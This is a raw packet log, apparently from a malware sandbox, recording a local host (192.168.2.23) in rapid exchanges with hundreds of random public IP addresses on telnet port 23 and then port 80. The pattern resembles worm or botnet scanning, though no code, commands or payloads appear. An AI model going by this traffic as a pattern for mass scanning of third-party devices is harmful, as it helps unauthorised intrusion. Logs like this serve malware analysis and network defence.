Dec 3, 2024 22:16:44.597810030 CET	23	37963	89.173.184.72	192.168.2.23
Dec 3, 2024 22:16:44.597820044 CET	23	37963	102.167.58.114	192.168.2.23
Dec 3, 2024 22:16:44.597841024 CET	37963	23	192.168.2.23	102.167.58.114
Dec 3, 2024 22:16:44.597857952 CET	37963	23	192.168.2.23	1.104.209.17
Dec 3, 2024 22:16:44.597857952 CET	37963	23	192.168.2.23	89.173.184.72
Dec 3, 2024 22:16:44.597970963 CET	23	37963	97.154.73.213	192.168.2.23
Dec 3, 2024 22:16:44.597980976 CET	23	37963	184.77.188.32	192.168.2.23
Dec 3, 2024 22:16:44.597990036 CET	23	37963	17.183.187.96	192.168.2.23
Dec 3, 2024 22:16:44.598000050 CET	23	37963	221.142.53.62	192.168.2.23
Dec 3, 2024 22:16:44.598007917 CET	23	37963	180.122.191.112	192.168.2.23
Dec 3, 2024 22:16:44.598016977 CET	23	37963	128.120.23.119	192.168.2.23
Dec 3, 2024 22:16:44.598017931 CET	37963	23	192.168.2.23	184.77.188.32
Dec 3, 2024 22:16:44.598021030 CET	37963	23	192.168.2.23	97.154.73.213
Dec 3, 2024 22:16:44.598021030 CET	37963	23	192.168.2.23	17.183.187.96
Dec 3, 2024 22:16:44.598025084 CET	23	37963	219.192.128.161	192.168.2.23
Dec 3, 2024 22:16:44.598056078 CET	37963	23	192.168.2.23	180.122.191.112
Dec 3, 2024 22:16:44.598056078 CET	37963	23	192.168.2.23	128.120.23.119
Dec 3, 2024 22:16:44.598056078 CET	37963	23	192.168.2.23	219.192.128.161
Dec 3, 2024 22:16:44.598088980 CET	37963	23	192.168.2.23	221.142.53.62
Dec 3, 2024 22:16:44.598473072 CET	23	37963	208.25.47.102	192.168.2.23
Dec 3, 2024 22:16:44.598481894 CET	23	37963	107.154.137.94	192.168.2.23
Dec 3, 2024 22:16:44.598489046 CET	23	37963	146.213.202.205	192.168.2.23
Dec 3, 2024 22:16:44.598498106 CET	23	37963	213.199.49.69	192.168.2.23
Dec 3, 2024 22:16:44.598506927 CET	23	37963	87.142.230.210	192.168.2.23
Dec 3, 2024 22:16:44.598515987 CET	23	37963	32.236.169.160	192.168.2.23
Dec 3, 2024 22:16:44.598515987 CET	37963	23	192.168.2.23	208.25.47.102
Dec 3, 2024 22:16:44.598515987 CET	37963	23	192.168.2.23	107.154.137.94
Dec 3, 2024 22:16:44.598524094 CET	37963	23	192.168.2.23	146.213.202.205
Dec 3, 2024 22:16:44.598526955 CET	37963	23	192.168.2.23	87.142.230.210
Dec 3, 2024 22:16:44.598536015 CET	37963	23	192.168.2.23	213.199.49.69
Dec 3, 2024 22:16:44.598541975 CET	23	37963	173.128.143.132	192.168.2.23
Dec 3, 2024 22:16:44.598551035 CET	23	37963	158.192.155.201	192.168.2.23
Dec 3, 2024 22:16:44.598555088 CET	37963	23	192.168.2.23	32.236.169.160
Dec 3, 2024 22:16:44.598560095 CET	23	37963	104.202.191.108	192.168.2.23
Dec 3, 2024 22:16:44.598567963 CET	23	37963	2.72.161.195	192.168.2.23
Dec 3, 2024 22:16:44.598582029 CET	37963	23	192.168.2.23	173.128.143.132
Dec 3, 2024 22:16:44.598582983 CET	23	37963	222.201.210.162	192.168.2.23
Dec 3, 2024 22:16:44.598589897 CET	37963	23	192.168.2.23	158.192.155.201
Dec 3, 2024 22:16:44.598589897 CET	37963	23	192.168.2.23	104.202.191.108
Dec 3, 2024 22:16:44.598592997 CET	23	37963	70.11.178.48	192.168.2.23
Dec 3, 2024 22:16:44.598599911 CET	37963	23	192.168.2.23	2.72.161.195
Dec 3, 2024 22:16:44.598601103 CET	23	37963	155.122.13.27	192.168.2.23
Dec 3, 2024 22:16:44.598612070 CET	23	37963	196.215.76.186	192.168.2.23
Dec 3, 2024 22:16:44.598619938 CET	23	37963	133.108.197.45	192.168.2.23
Dec 3, 2024 22:16:44.598624945 CET	37963	23	192.168.2.23	70.11.178.48
Dec 3, 2024 22:16:44.598624945 CET	37963	23	192.168.2.23	222.201.210.162
Dec 3, 2024 22:16:44.598628998 CET	23	37963	162.173.48.109	192.168.2.23
Dec 3, 2024 22:16:44.598638058 CET	37963	23	192.168.2.23	196.215.76.186
Dec 3, 2024 22:16:44.598654985 CET	37963	23	192.168.2.23	155.122.13.27
Dec 3, 2024 22:16:44.598663092 CET	37963	23	192.168.2.23	133.108.197.45
Dec 3, 2024 22:16:44.598666906 CET	37963	23	192.168.2.23	162.173.48.109
Dec 3, 2024 22:16:44.598695040 CET	23	37963	5.196.68.45	192.168.2.23
Dec 3, 2024 22:16:44.598704100 CET	23	37963	223.40.197.22	192.168.2.23
Dec 3, 2024 22:16:44.598712921 CET	23	37963	47.77.147.49	192.168.2.23
Dec 3, 2024 22:16:44.598721981 CET	23	37963	2.78.127.177	192.168.2.23
Dec 3, 2024 22:16:44.598730087 CET	37963	23	192.168.2.23	5.196.68.45
Dec 3, 2024 22:16:44.598731041 CET	23	37963	64.207.225.66	192.168.2.23
Dec 3, 2024 22:16:44.598737955 CET	37963	23	192.168.2.23	223.40.197.22
Dec 3, 2024 22:16:44.598742008 CET	23	37963	155.73.125.240	192.168.2.23
Dec 3, 2024 22:16:44.598746061 CET	37963	23	192.168.2.23	47.77.147.49
Dec 3, 2024 22:16:44.598746061 CET	37963	23	192.168.2.23	2.78.127.177
Dec 3, 2024 22:16:44.598751068 CET	23	37963	148.15.82.77	192.168.2.23
Dec 3, 2024 22:16:44.598758936 CET	23	37963	80.17.252.203	192.168.2.23
Dec 3, 2024 22:16:44.598767042 CET	23	37963	111.9.237.115	192.168.2.23
Dec 3, 2024 22:16:44.598777056 CET	37963	23	192.168.2.23	64.207.225.66
Dec 3, 2024 22:16:44.598777056 CET	37963	23	192.168.2.23	155.73.125.240
Dec 3, 2024 22:16:44.598777056 CET	37963	23	192.168.2.23	148.15.82.77
Dec 3, 2024 22:16:44.598779917 CET	23	37963	38.88.112.139	192.168.2.23
Dec 3, 2024 22:16:44.598784924 CET	37963	23	192.168.2.23	80.17.252.203
Dec 3, 2024 22:16:44.598798990 CET	37963	23	192.168.2.23	111.9.237.115
Dec 3, 2024 22:16:44.598823071 CET	37963	23	192.168.2.23	38.88.112.139
Dec 3, 2024 22:16:44.598848104 CET	23	37963	63.136.248.4	192.168.2.23
Dec 3, 2024 22:16:44.598856926 CET	23	37963	149.14.216.171	192.168.2.23
Dec 3, 2024 22:16:44.598887920 CET	37963	23	192.168.2.23	63.136.248.4
Dec 3, 2024 22:16:44.598901033 CET	37963	23	192.168.2.23	149.14.216.171
Dec 3, 2024 22:16:44.599286079 CET	23	37963	93.78.124.8	192.168.2.23
Dec 3, 2024 22:16:44.599294901 CET	23	37963	185.179.146.249	192.168.2.23
Dec 3, 2024 22:16:44.599303961 CET	23	37963	14.57.182.10	192.168.2.23
Dec 3, 2024 22:16:44.599317074 CET	23	37963	82.99.206.130	192.168.2.23
Dec 3, 2024 22:16:44.599328041 CET	23	37963	68.167.35.12	192.168.2.23
Dec 3, 2024 22:16:44.599337101 CET	37963	23	192.168.2.23	93.78.124.8
Dec 3, 2024 22:16:44.599337101 CET	37963	23	192.168.2.23	185.179.146.249
Dec 3, 2024 22:16:44.599337101 CET	23	37963	13.132.81.192	192.168.2.23
Dec 3, 2024 22:16:44.599339962 CET	37963	23	192.168.2.23	14.57.182.10
Dec 3, 2024 22:16:44.599347115 CET	37963	23	192.168.2.23	82.99.206.130
Dec 3, 2024 22:16:44.599347115 CET	23	37963	164.161.138.36	192.168.2.23
Dec 3, 2024 22:16:44.599358082 CET	23	37963	85.198.67.218	192.168.2.23
Dec 3, 2024 22:16:44.599363089 CET	37963	23	192.168.2.23	68.167.35.12
Dec 3, 2024 22:16:44.599365950 CET	23	37963	170.195.48.47	192.168.2.23
Dec 3, 2024 22:16:44.599370956 CET	37963	23	192.168.2.23	13.132.81.192
Dec 3, 2024 22:16:44.599375010 CET	23	37963	75.203.7.139	192.168.2.23
Dec 3, 2024 22:16:44.599383116 CET	37963	23	192.168.2.23	164.161.138.36
Dec 3, 2024 22:16:44.599390984 CET	37963	23	192.168.2.23	85.198.67.218
Dec 3, 2024 22:16:44.599419117 CET	23	37963	5.224.46.59	192.168.2.23
Dec 3, 2024 22:16:44.599426985 CET	23	37963	156.78.200.87	192.168.2.23
Dec 3, 2024 22:16:44.599431038 CET	37963	23	192.168.2.23	170.195.48.47
Dec 3, 2024 22:16:44.599431038 CET	37963	23	192.168.2.23	75.203.7.139
Dec 3, 2024 22:16:44.599436045 CET	23	37963	98.129.86.2	192.168.2.23
Dec 3, 2024 22:16:44.599443913 CET	23	37963	59.153.231.18	192.168.2.23
Dec 3, 2024 22:16:44.599453926 CET	37963	23	192.168.2.23	5.224.46.59
Dec 3, 2024 22:16:44.599476099 CET	37963	23	192.168.2.23	59.153.231.18
Dec 3, 2024 22:16:44.599477053 CET	23	37963	100.9.14.250	192.168.2.23
Dec 3, 2024 22:16:44.599487066 CET	23	37963	42.107.109.79	192.168.2.23
Dec 3, 2024 22:16:44.599494934 CET	23	37963	108.164.165.229	192.168.2.23
Dec 3, 2024 22:16:44.599503994 CET	23	37963	152.106.60.20	192.168.2.23
Dec 3, 2024 22:16:44.599510908 CET	23	37963	195.119.194.230	192.168.2.23
Dec 3, 2024 22:16:44.599512100 CET	37963	23	192.168.2.23	98.129.86.2
Dec 3, 2024 22:16:44.599512100 CET	37963	23	192.168.2.23	100.9.14.250
Dec 3, 2024 22:16:44.599513054 CET	37963	23	192.168.2.23	42.107.109.79
Dec 3, 2024 22:16:44.599519968 CET	23	37963	143.126.201.200	192.168.2.23
Dec 3, 2024 22:16:44.599529028 CET	23	37963	82.39.176.42	192.168.2.23
Dec 3, 2024 22:16:44.599536896 CET	23	37963	24.220.30.148	192.168.2.23
Dec 3, 2024 22:16:44.599541903 CET	37963	23	192.168.2.23	195.119.194.230
Dec 3, 2024 22:16:44.599545002 CET	23	37963	58.116.37.114	192.168.2.23
Dec 3, 2024 22:16:44.599560976 CET	37963	23	192.168.2.23	152.106.60.20
Dec 3, 2024 22:16:44.599560976 CET	37963	23	192.168.2.23	143.126.201.200
Dec 3, 2024 22:16:44.599562883 CET	37963	23	192.168.2.23	156.78.200.87
Dec 3, 2024 22:16:44.599562883 CET	80	37707	81.192.142.210	192.168.2.23
Dec 3, 2024 22:16:44.599562883 CET	37963	23	192.168.2.23	108.164.165.229
Dec 3, 2024 22:16:44.599566936 CET	37963	23	192.168.2.23	82.39.176.42
Dec 3, 2024 22:16:44.599575043 CET	37963	23	192.168.2.23	24.220.30.148
Dec 3, 2024 22:16:44.599575043 CET	80	37707	190.170.9.178	192.168.2.23
Dec 3, 2024 22:16:44.599575043 CET	37963	23	192.168.2.23	58.116.37.114
Dec 3, 2024 22:16:44.599606991 CET	37707	80	192.168.2.23	190.170.9.178
Dec 3, 2024 22:16:44.599606991 CET	37707	80	192.168.2.23	81.192.142.210
Dec 3, 2024 22:16:44.599622965 CET	80	37707	211.62.146.210	192.168.2.23
Dec 3, 2024 22:16:44.599631071 CET	80	37707	147.150.114.3	192.168.2.23
Dec 3, 2024 22:16:44.599638939 CET	80	37707	59.28.248.94	192.168.2.23
Dec 3, 2024 22:16:44.599656105 CET	37707	80	192.168.2.23	211.62.146.210
Dec 3, 2024 22:16:44.599673033 CET	37707	80	192.168.2.23	147.150.114.3
Dec 3, 2024 22:16:44.599674940 CET	37707	80	192.168.2.23	59.28.248.94
Dec 3, 2024 22:16:44.600100040 CET	80	37707	183.147.119.185	192.168.2.23
Dec 3, 2024 22:16:44.600109100 CET	80	37707	206.137.221.95	192.168.2.23
Dec 3, 2024 22:16:44.600119114 CET	80	37707	218.110.176.29	192.168.2.23
Dec 3, 2024 22:16:44.600123882 CET	80	37707	67.137.214.48	192.168.2.23
Dec 3, 2024 22:16:44.600131989 CET	80	37707	109.74.43.137	192.168.2.23
Dec 3, 2024 22:16:44.600148916 CET	37707	80	192.168.2.23	183.147.119.185
Dec 3, 2024 22:16:44.600162029 CET	37707	80	192.168.2.23	67.137.214.48
Dec 3, 2024 22:16:44.600167990 CET	37707	80	192.168.2.23	206.137.221.95
Dec 3, 2024 22:16:44.600167990 CET	37707	80	192.168.2.23	109.74.43.137
Dec 3, 2024 22:16:44.600168943 CET	37707	80	192.168.2.23	218.110.176.29
Dec 3, 2024 22:16:44.600172997 CET	80	37707	168.119.9.144	192.168.2.23
Dec 3, 2024 22:16:44.600184917 CET	80	37707	35.224.85.210	192.168.2.23
Dec 3, 2024 22:16:44.600193024 CET	80	37707	188.56.219.75	192.168.2.23
Dec 3, 2024 22:16:44.600203037 CET	80	37707	123.229.200.194	192.168.2.23
Dec 3, 2024 22:16:44.600210905 CET	37707	80	192.168.2.23	168.119.9.144
Dec 3, 2024 22:16:44.600212097 CET	80	37707	101.9.7.214	192.168.2.23
Dec 3, 2024 22:16:44.600224018 CET	80	37707	178.35.101.136	192.168.2.23
Dec 3, 2024 22:16:44.600235939 CET	80	37707	146.217.140.101	192.168.2.23
Dec 3, 2024 22:16:44.600244045 CET	80	37707	192.81.124.130	192.168.2.23
Dec 3, 2024 22:16:44.600245953 CET	37707	80	192.168.2.23	35.224.85.210
Dec 3, 2024 22:16:44.600245953 CET	37707	80	192.168.2.23	188.56.219.75
Dec 3, 2024 22:16:44.600245953 CET	37707	80	192.168.2.23	123.229.200.194
Dec 3, 2024 22:16:44.600245953 CET	37707	80	192.168.2.23	101.9.7.214
Dec 3, 2024 22:16:44.600251913 CET	80	37707	23.125.28.35	192.168.2.23
Dec 3, 2024 22:16:44.600253105 CET	37707	80	192.168.2.23	178.35.101.136
Dec 3, 2024 22:16:44.600263119 CET	80	37707	151.199.198.224	192.168.2.23
Dec 3, 2024 22:16:44.600264072 CET	37707	80	192.168.2.23	146.217.140.101
Dec 3, 2024 22:16:44.600270033 CET	37707	80	192.168.2.23	192.81.124.130
Dec 3, 2024 22:16:44.600272894 CET	80	37707	141.77.20.135	192.168.2.23
Dec 3, 2024 22:16:44.600275993 CET	37707	80	192.168.2.23	23.125.28.35
Dec 3, 2024 22:16:44.600281000 CET	80	37707	101.24.192.21	192.168.2.23
Dec 3, 2024 22:16:44.600290060 CET	80	37707	141.154.208.126	192.168.2.23
Dec 3, 2024 22:16:44.600296974 CET	80	37707	84.22.19.134	192.168.2.23
Dec 3, 2024 22:16:44.600297928 CET	37707	80	192.168.2.23	151.199.198.224
Dec 3, 2024 22:16:44.600301027 CET	37707	80	192.168.2.23	141.77.20.135
Dec 3, 2024 22:16:44.600306034 CET	80	37707	164.28.111.122	192.168.2.23
Dec 3, 2024 22:16:44.600313902 CET	37707	80	192.168.2.23	101.24.192.21
Dec 3, 2024 22:16:44.600313902 CET	37707	80	192.168.2.23	141.154.208.126
Dec 3, 2024 22:16:44.600315094 CET	80	37707	136.66.6.83	192.168.2.23
Dec 3, 2024 22:16:44.600322962 CET	80	37707	150.54.226.100	192.168.2.23
Dec 3, 2024 22:16:44.600332022 CET	80	37707	27.227.149.29	192.168.2.23
Dec 3, 2024 22:16:44.600333929 CET	37707	80	192.168.2.23	84.22.19.134
Dec 3, 2024 22:16:44.600337982 CET	37707	80	192.168.2.23	164.28.111.122
Dec 3, 2024 22:16:44.600339890 CET	80	37707	110.27.227.5	192.168.2.23
Dec 3, 2024 22:16:44.600341082 CET	37707	80	192.168.2.23	136.66.6.83
Dec 3, 2024 22:16:44.600347996 CET	80	37707	58.41.185.116	192.168.2.23
Dec 3, 2024 22:16:44.600356102 CET	80	37707	99.242.217.50	192.168.2.23
Dec 3, 2024 22:16:44.600366116 CET	80	37707	111.100.9.53	192.168.2.23
Dec 3, 2024 22:16:44.600367069 CET	37707	80	192.168.2.23	110.27.227.5
Dec 3, 2024 22:16:44.600375891 CET	80	37707	168.90.250.255	192.168.2.23
Dec 3, 2024 22:16:44.600375891 CET	37707	80	192.168.2.23	27.227.149.29
Dec 3, 2024 22:16:44.600377083 CET	37707	80	192.168.2.23	150.54.226.100
Dec 3, 2024 22:16:44.600380898 CET	37707	80	192.168.2.23	58.41.185.116
Dec 3, 2024 22:16:44.600382090 CET	37707	80	192.168.2.23	99.242.217.50
Dec 3, 2024 22:16:44.600397110 CET	80	37707	126.210.132.115	192.168.2.23
Dec 3, 2024 22:16:44.600399971 CET	37707	80	192.168.2.23	111.100.9.53
Dec 3, 2024 22:16:44.600404024 CET	37707	80	192.168.2.23	168.90.250.255
Dec 3, 2024 22:16:44.600406885 CET	80	37707	75.98.135.187	192.168.2.23
Dec 3, 2024 22:16:44.600415945 CET	80	37707	153.132.153.126	192.168.2.23
Dec 3, 2024 22:16:44.600425005 CET	80	37707	182.234.25.21	192.168.2.23
Dec 3, 2024 22:16:44.600431919 CET	37707	80	192.168.2.23	126.210.132.115
Dec 3, 2024 22:16:44.600434065 CET	80	37707	190.178.17.255	192.168.2.23
Dec 3, 2024 22:16:44.600444078 CET	80	37707	119.94.120.76	192.168.2.23
Dec 3, 2024 22:16:44.600445032 CET	37707	80	192.168.2.23	153.132.153.126
Dec 3, 2024 22:16:44.600452900 CET	80	37707	44.2.163.48	192.168.2.23
Dec 3, 2024 22:16:44.600460052 CET	80	37707	173.229.168.112	192.168.2.23
Dec 3, 2024 22:16:44.600464106 CET	37707	80	192.168.2.23	190.178.17.255
Dec 3, 2024 22:16:44.600467920 CET	80	37707	134.212.26.134	192.168.2.23
Dec 3, 2024 22:16:44.600475073 CET	37707	80	192.168.2.23	75.98.135.187
Dec 3, 2024 22:16:44.600475073 CET	37707	80	192.168.2.23	182.234.25.21
Dec 3, 2024 22:16:44.600475073 CET	37707	80	192.168.2.23	119.94.120.76
Dec 3, 2024 22:16:44.600476980 CET	80	37707	206.10.113.249	192.168.2.23
Dec 3, 2024 22:16:44.600480080 CET	37707	80	192.168.2.23	44.2.163.48
Dec 3, 2024 22:16:44.600486994 CET	80	37707	66.247.109.12	192.168.2.23
Dec 3, 2024 22:16:44.600496054 CET	80	37707	183.147.92.109	192.168.2.23
Dec 3, 2024 22:16:44.600498915 CET	80	37707	191.128.34.13	192.168.2.23
Dec 3, 2024 22:16:44.600502968 CET	80	37707	221.234.98.185	192.168.2.23
Dec 3, 2024 22:16:44.600503922 CET	37707	80	192.168.2.23	206.10.113.249
Dec 3, 2024 22:16:44.600507021 CET	80	37707	155.53.185.142	192.168.2.23
Dec 3, 2024 22:16:44.600514889 CET	80	37707	169.188.166.16	192.168.2.23
Dec 3, 2024 22:16:44.600522041 CET	80	37707	4.101.69.235	192.168.2.23
Dec 3, 2024 22:16:44.600531101 CET	80	37707	120.154.82.255	192.168.2.23
Dec 3, 2024 22:16:44.600534916 CET	37707	80	192.168.2.23	173.229.168.112
Dec 3, 2024 22:16:44.600534916 CET	37707	80	192.168.2.23	134.212.26.134
Dec 3, 2024 22:16:44.600534916 CET	37707	80	192.168.2.23	66.247.109.12
Dec 3, 2024 22:16:44.600538015 CET	37707	80	192.168.2.23	155.53.185.142
Dec 3, 2024 22:16:44.600538969 CET	80	37707	20.252.248.79	192.168.2.23
Dec 3, 2024 22:16:44.600548029 CET	80	37707	38.109.192.14	192.168.2.23
Dec 3, 2024 22:16:44.600548983 CET	37707	80	192.168.2.23	183.147.92.109
Dec 3, 2024 22:16:44.600552082 CET	37707	80	192.168.2.23	169.188.166.16
Dec 3, 2024 22:16:44.600555897 CET	37707	80	192.168.2.23	221.234.98.185
Dec 3, 2024 22:16:44.600555897 CET	37707	80	192.168.2.23	4.101.69.235
Dec 3, 2024 22:16:44.600557089 CET	80	37707	49.47.5.125	192.168.2.23
Dec 3, 2024 22:16:44.600567102 CET	37707	80	192.168.2.23	20.252.248.79
Dec 3, 2024 22:16:44.600568056 CET	37707	80	192.168.2.23	120.154.82.255
Dec 3, 2024 22:16:44.600569010 CET	80	37707	75.22.35.177	192.168.2.23
Dec 3, 2024 22:16:44.600572109 CET	37707	80	192.168.2.23	191.128.34.13
Dec 3, 2024 22:16:44.600584030 CET	80	37707	200.37.61.74	192.168.2.23
Dec 3, 2024 22:16:44.600594044 CET	37707	80	192.168.2.23	38.109.192.14
Dec 3, 2024 22:16:44.600594044 CET	37707	80	192.168.2.23	75.22.35.177
Dec 3, 2024 22:16:44.600608110 CET	80	37707	116.108.142.150	192.168.2.23
Dec 3, 2024 22:16:44.600609064 CET	37707	80	192.168.2.23	49.47.5.125
Dec 3, 2024 22:16:44.600616932 CET	80	37707	116.1.139.82	192.168.2.23
Dec 3, 2024 22:16:44.600625038 CET	37707	80	192.168.2.23	200.37.61.74
Dec 3, 2024 22:16:44.600626945 CET	80	37707	143.60.119.7	192.168.2.23
Dec 3, 2024 22:16:44.600635052 CET	80	37707	42.128.34.6	192.168.2.23
Dec 3, 2024 22:16:44.600644112 CET	80	37707	124.26.102.113	192.168.2.23
Dec 3, 2024 22:16:44.600651979 CET	37707	80	192.168.2.23	116.1.139.82
Dec 3, 2024 22:16:44.600652933 CET	80	37707	124.220.207.242	192.168.2.23
Dec 3, 2024 22:16:44.600652933 CET	37707	80	192.168.2.23	143.60.119.7
Dec 3, 2024 22:16:44.600655079 CET	37707	80	192.168.2.23	116.108.142.150
Dec 3, 2024 22:16:44.600663900 CET	80	37707	178.223.247.145	192.168.2.23
Dec 3, 2024 22:16:44.600672960 CET	80	37707	114.100.119.24	192.168.2.23
Dec 3, 2024 22:16:44.600676060 CET	37707	80	192.168.2.23	42.128.34.6
Dec 3, 2024 22:16:44.600681067 CET	80	37707	183.97.189.100	192.168.2.23
Dec 3, 2024 22:16:44.600683928 CET	37707	80	192.168.2.23	124.26.102.113
Dec 3, 2024 22:16:44.600688934 CET	37707	80	192.168.2.23	124.220.207.242
Dec 3, 2024 22:16:44.600691080 CET	80	37707	72.131.211.43	192.168.2.23
Dec 3, 2024 22:16:44.600697041 CET	37707	80	192.168.2.23	178.223.247.145
Dec 3, 2024 22:16:44.600701094 CET	37707	80	192.168.2.23	114.100.119.24
Dec 3, 2024 22:16:44.600702047 CET	80	37707	220.144.247.165	192.168.2.23
Dec 3, 2024 22:16:44.600711107 CET	80	37707	46.2.147.97	192.168.2.23
Dec 3, 2024 22:16:44.600718021 CET	37707	80	192.168.2.23	72.131.211.43
Dec 3, 2024 22:16:44.600719929 CET	80	37707	128.72.97.171	192.168.2.23
Dec 3, 2024 22:16:44.600720882 CET	37707	80	192.168.2.23	183.97.189.100
Dec 3, 2024 22:16:44.600733995 CET	80	37707	153.141.134.100	192.168.2.23
Dec 3, 2024 22:16:44.600733995 CET	37707	80	192.168.2.23	220.144.247.165
Dec 3, 2024 22:16:44.600742102 CET	80	37707	153.147.48.254	192.168.2.23
Dec 3, 2024 22:16:44.600749969 CET	80	37707	148.107.137.12	192.168.2.23
Dec 3, 2024 22:16:44.600750923 CET	37707	80	192.168.2.23	46.2.147.97
Dec 3, 2024 22:16:44.600759029 CET	80	37707	84.180.18.221	192.168.2.23
Dec 3, 2024 22:16:44.600768089 CET	80	37707	106.166.94.36	192.168.2.23
Dec 3, 2024 22:16:44.600769043 CET	37707	80	192.168.2.23	153.141.134.100
Dec 3, 2024 22:16:44.600776911 CET	37707	80	192.168.2.23	148.107.137.12
Dec 3, 2024 22:16:44.600778103 CET	80	37707	37.12.69.40	192.168.2.23
Dec 3, 2024 22:16:44.600785017 CET	37707	80	192.168.2.23	84.180.18.221
Dec 3, 2024 22:16:44.600785971 CET	37707	80	192.168.2.23	128.72.97.171
Dec 3, 2024 22:16:44.600786924 CET	80	37707	113.90.116.179	192.168.2.23
Dec 3, 2024 22:16:44.600785971 CET	37707	80	192.168.2.23	153.147.48.254
Dec 3, 2024 22:16:44.600795984 CET	80	37707	153.162.231.173	192.168.2.23
Dec 3, 2024 22:16:44.600805044 CET	80	37707	172.240.174.180	192.168.2.23
Dec 3, 2024 22:16:44.600805044 CET	37707	80	192.168.2.23	106.166.94.36
Dec 3, 2024 22:16:44.600816011 CET	37707	80	192.168.2.23	37.12.69.40
Dec 3, 2024 22:16:44.600821972 CET	80	37707	101.209.122.99	192.168.2.23
Dec 3, 2024 22:16:44.600821972 CET	37707	80	192.168.2.23	113.90.116.179
Dec 3, 2024 22:16:44.600831985 CET	80	37707	8.194.18.121	192.168.2.23
Dec 3, 2024 22:16:44.600833893 CET	37707	80	192.168.2.23	172.240.174.180
Dec 3, 2024 22:16:44.600841045 CET	80	37707	138.190.34.76	192.168.2.23
Dec 3, 2024 22:16:44.600850105 CET	80	37707	106.65.96.203	192.168.2.23
Dec 3, 2024 22:16:44.600857973 CET	80	37707	218.251.67.95	192.168.2.23
Dec 3, 2024 22:16:44.600866079 CET	80	37707	107.220.123.217	192.168.2.23
Dec 3, 2024 22:16:44.600867033 CET	37707	80	192.168.2.23	101.209.122.99
Dec 3, 2024 22:16:44.600867033 CET	37707	80	192.168.2.23	8.194.18.121
Dec 3, 2024 22:16:44.600867033 CET	37707	80	192.168.2.23	138.190.34.76
Dec 3, 2024 22:16:44.600873947 CET	80	37707	39.228.117.252	192.168.2.23
Dec 3, 2024 22:16:44.600873947 CET	37707	80	192.168.2.23	153.162.231.173
Dec 3, 2024 22:16:44.600883007 CET	37707	80	192.168.2.23	106.65.96.203
Dec 3, 2024 22:16:44.600888014 CET	80	37707	115.235.82.174	192.168.2.23
Dec 3, 2024 22:16:44.600897074 CET	80	37707	92.114.31.220	192.168.2.23
Dec 3, 2024 22:16:44.600895882 CET	37707	80	192.168.2.23	218.251.67.95
Dec 3, 2024 22:16:44.600895882 CET	37707	80	192.168.2.23	107.220.123.217
Dec 3, 2024 22:16:44.600907087 CET	37707	80	192.168.2.23	39.228.117.252
Dec 3, 2024 22:16:44.600907087 CET	80	37707	89.163.41.3	192.168.2.23
Dec 3, 2024 22:16:44.600917101 CET	80	37707	141.180.183.143	192.168.2.23
Dec 3, 2024 22:16:44.600929022 CET	37707	80	192.168.2.23	92.114.31.220
Dec 3, 2024 22:16:44.600939989 CET	37707	80	192.168.2.23	115.235.82.174
Dec 3, 2024 22:16:44.600948095 CET	37707	80	192.168.2.23	141.180.183.143
Dec 3, 2024 22:16:44.600951910 CET	37707	80	192.168.2.23	89.163.41.3
Dec 3, 2024 22:16:44.601151943 CET	80	37707	88.197.144.96	192.168.2.23
Dec 3, 2024 22:16:44.601161003 CET	80	37707	179.4.129.78	192.168.2.23
Dec 3, 2024 22:16:44.601169109 CET	80	37707	185.10.244.114	192.168.2.23
Dec 3, 2024 22:16:44.601174116 CET	80	37707	216.150.249.113	192.168.2.23
Dec 3, 2024 22:16:44.601192951 CET	37707	80	192.168.2.23	88.197.144.96
Dec 3, 2024 22:16:44.601200104 CET	37707	80	192.168.2.23	216.150.249.113
Dec 3, 2024 22:16:44.601202965 CET	37707	80	192.168.2.23	179.4.129.78
Dec 3, 2024 22:16:44.601202965 CET	37707	80	192.168.2.23	185.10.244.114
Dec 3, 2024 22:16:44.601268053 CET	80	37707	35.59.185.71	192.168.2.23
Dec 3, 2024 22:16:44.601277113 CET	80	37707	91.177.160.215	192.168.2.23
Dec 3, 2024 22:16:44.601286888 CET	80	37707	140.209.41.32	192.168.2.23
Dec 3, 2024 22:16:44.601296902 CET	80	37707	110.205.174.183	192.168.2.23
Dec 3, 2024 22:16:44.601303101 CET	37707	80	192.168.2.23	35.59.185.71
Dec 3, 2024 22:16:44.601305008 CET	80	37707	132.95.8.166	192.168.2.23
Dec 3, 2024 22:16:44.601314068 CET	37707	80	192.168.2.23	91.177.160.215
Dec 3, 2024 22:16:44.601320982 CET	80	37707	121.144.4.187	192.168.2.23
Dec 3, 2024 22:16:44.601322889 CET	37707	80	192.168.2.23	110.205.174.183
Dec 3, 2024 22:16:44.601330042 CET	80	37707	78.135.63.65	192.168.2.23
Dec 3, 2024 22:16:44.601332903 CET	37707	80	192.168.2.23	132.95.8.166
Dec 3, 2024 22:16:44.601334095 CET	80	37707	191.31.172.89	192.168.2.23
Dec 3, 2024 22:16:44.601341963 CET	80	37707	172.185.41.73	192.168.2.23
Dec 3, 2024 22:16:44.601351023 CET	80	37707	102.116.56.36	192.168.2.23
Dec 3, 2024 22:16:44.601367950 CET	80	37707	74.30.219.31	192.168.2.23
Dec 3, 2024 22:16:44.601368904 CET	37707	80	192.168.2.23	78.135.63.65
Dec 3, 2024 22:16:44.601368904 CET	37707	80	192.168.2.23	121.144.4.187
Dec 3, 2024 22:16:44.601376057 CET	37707	80	192.168.2.23	191.31.172.89
Dec 3, 2024 22:16:44.601378918 CET	37707	80	192.168.2.23	140.209.41.32
Dec 3, 2024 22:16:44.601382017 CET	37707	80	192.168.2.23	102.116.56.36
Dec 3, 2024 22:16:44.601387978 CET	37707	80	192.168.2.23	172.185.41.73
Dec 3, 2024 22:16:44.601397038 CET	37707	80	192.168.2.23	74.30.219.31
Dec 3, 2024 22:16:44.601422071 CET	80	37707	150.54.37.205	192.168.2.23
Dec 3, 2024 22:16:44.601430893 CET	80	37707	149.252.242.173	192.168.2.23
Dec 3, 2024 22:16:44.601438999 CET	80	37707	147.119.95.33	192.168.2.23
Dec 3, 2024 22:16:44.601443052 CET	80	37707	58.67.79.15	192.168.2.23
Dec 3, 2024 22:16:44.601450920 CET	80	37707	209.50.255.160	192.168.2.23
Dec 3, 2024 22:16:44.601459026 CET	80	37707	107.238.244.171	192.168.2.23
Dec 3, 2024 22:16:44.601461887 CET	37707	80	192.168.2.23	150.54.37.205
Dec 3, 2024 22:16:44.601469040 CET	37707	80	192.168.2.23	149.252.242.173
Dec 3, 2024 22:16:44.601474047 CET	37707	80	192.168.2.23	147.119.95.33
Dec 3, 2024 22:16:44.601474047 CET	37707	80	192.168.2.23	58.67.79.15
Dec 3, 2024 22:16:44.601483107 CET	37707	80	192.168.2.23	209.50.255.160
